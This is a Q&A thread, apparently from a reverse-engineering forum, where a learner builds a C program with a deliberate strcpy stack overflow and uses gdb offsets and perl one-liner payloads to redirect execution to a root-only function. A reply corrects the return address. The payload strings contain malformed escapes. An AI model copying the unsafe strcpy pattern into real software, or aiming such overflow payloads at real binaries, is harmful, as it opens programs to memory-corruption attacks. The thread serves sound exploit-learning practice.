5

I understand the principles of exploiting a classical stack-based buffer-overflow, and now I want to practice it. Therefore I wrote the following test-application:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void public(char *args) {
    char buff[12];
    memset(buff, 'B', sizeof(buff));

    strcpy(buff, args);
    printf("\nbuff: [%s] (%p)(%d)\n\n", &buff, buff, sizeof(buff));
}

void secret(void) {
    printf("SECRET\n");
    exit(0);
}

int main(int argc, char *argv[]) {
    int uid;
    uid = getuid();

    // Only when the user is root
    if (uid == 0)
        secret();

    if (argc > 1) {
        public(argv[1]);
    }
    else
        printf("Kein Argument!\n");
}

When the user which starts the program is root, the method secret() is being called, otherwise, the method public(...) is being called. I am using debian-gnome x64, so I had to compile it specifically to x86 to get x86-assembly (which I know better than x64). I compiled the program with gcc: gcc ret.c -o ret -m32 -g -fno-stack-protector


Target: I want to call the method secret() without being a root-user. {To do that I have to overwrite the Return Instruction Pointer (RIP) with the address of the function secret()}

Vulnerability: The method public(...) copies the program-args with the unsafe strcpy() method into the char-array buff. So it is possible to overwrite data on the stack, when the user starts the program with an arg > 11, where arg should be the length of the string-arg.

Required Information:

  • The address of the function secret().
  • The address of the first buffer's first element. Due to ASCII-Encoding I know that each char has a size of 1 byte, so that the buffer's last element is 12 bytes ahead the first element.
  • The address of the RIP, because I have to overwrite it secret()s address.
  • OPTIONAL: It also helps to know the address of the Safed Frame Pointer (SFP).

Methodical approach:

  • Load the program into gdb: gdb -q ret.
  • To get an overview of the full stack-frame of the method public(...) I have to set a breakpoint there, where the function-epilogue starts. This is at the enclosing brace } at line 11.
  • Now I have to run the program with a valid arg: run A.
  • At the breakpoint, I now want to view the stack-frame.

    (gdb) info frame 0
    Stack frame at 0xffffd2f0:
     eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c
     called by frame at 0xffffd330
     source language c.
     Arglist at 0xffffd2e8, args: args=0xffffd575 "A"
     Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
     Saved registers:
      ebp at 0xffffd2e8, eip at 0xffffd2ec
    

    Because from that I can gather the following information:

    • The RIP is located at 0xffffd2ec and contains the address 0x804858c which contains the instruction 0x804858c <main+61>: add $0x10,%esp.
    • The SFP is located at 0xffffd2e8.
    • Now I need the address, where the secret()-function starts:

      (gdb) print secret $2 = {void (void)} 0x804852f

  • Last, but not least I get the buffer's address:

    (gdb) print/x &buff
    $4 = 0xffffd2d4
    
  • To sum it up:

    • RIP is at 0xffffd2ec.
    • SFP is at 0xffffd2e8.
    • buff is at 0xffffd2d4.

This means that I would have to run the program with 0xffffd2ec - 0xffffd2d4 + 0x04 = 28 bytes (= chars).

So, to exploit it I'd have to run the program with an arg which is 28 bytes long whereas the last 4 bytes contain the address of the function secret() (and pay attention to little-endian-ordering):

(gdb) run `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`

buff: [AAAAAAAAAAAAAAAAAAAAAAAA�d2
                                  f
                                   f] (0xffffd2b4)(12)


Program received signal SIGSEGV, Segmentation fault.
0x0c3264ec in ?? ()

Two questions are rising up:

  • Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....

  • Why is between buff and the SFP a 8-byte gap? What does this memory-area contain?

EDIT: That's a download-link to the binary.

  • It would help if you could provide a link to the binary. – Jason Geffner Oct 4 '15 at 16:39
  • Thanks that you want to help me! That's the link to the binary. – JDoens Oct 4 '15 at 17:52
5
  • Why is it not working. This example is basically from an older book I'm reading. But theoretically it should work so I think....

It's because you're overwriting the return address on the stack with 0xffffd2ec instead of 0x0804852f (the latter is the address for secret()).

If you thus use '{print "A"x24; print "\x2f\85\04\08"; }' instead, it should work.

  • Why is between buff and the SFP a 8-byte gap? What does this memory-area contain?

That gap is probably because of attempted optimizations made by gcc. The memory-area contains nothing (well, technically it contains 8 bytes whose values are indeterminate) and the code in the public() function neither reads from nor writes to that memory-area.

  • Thanks! You are right, I did not overwrite the RIP with secret()s address. But you forgot to reverse the byte-order (it's little-endian). – JDoens Oct 4 '15 at 20:24
  • Good catch; just fixed the byte-order. – Jason Geffner Oct 4 '15 at 21:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.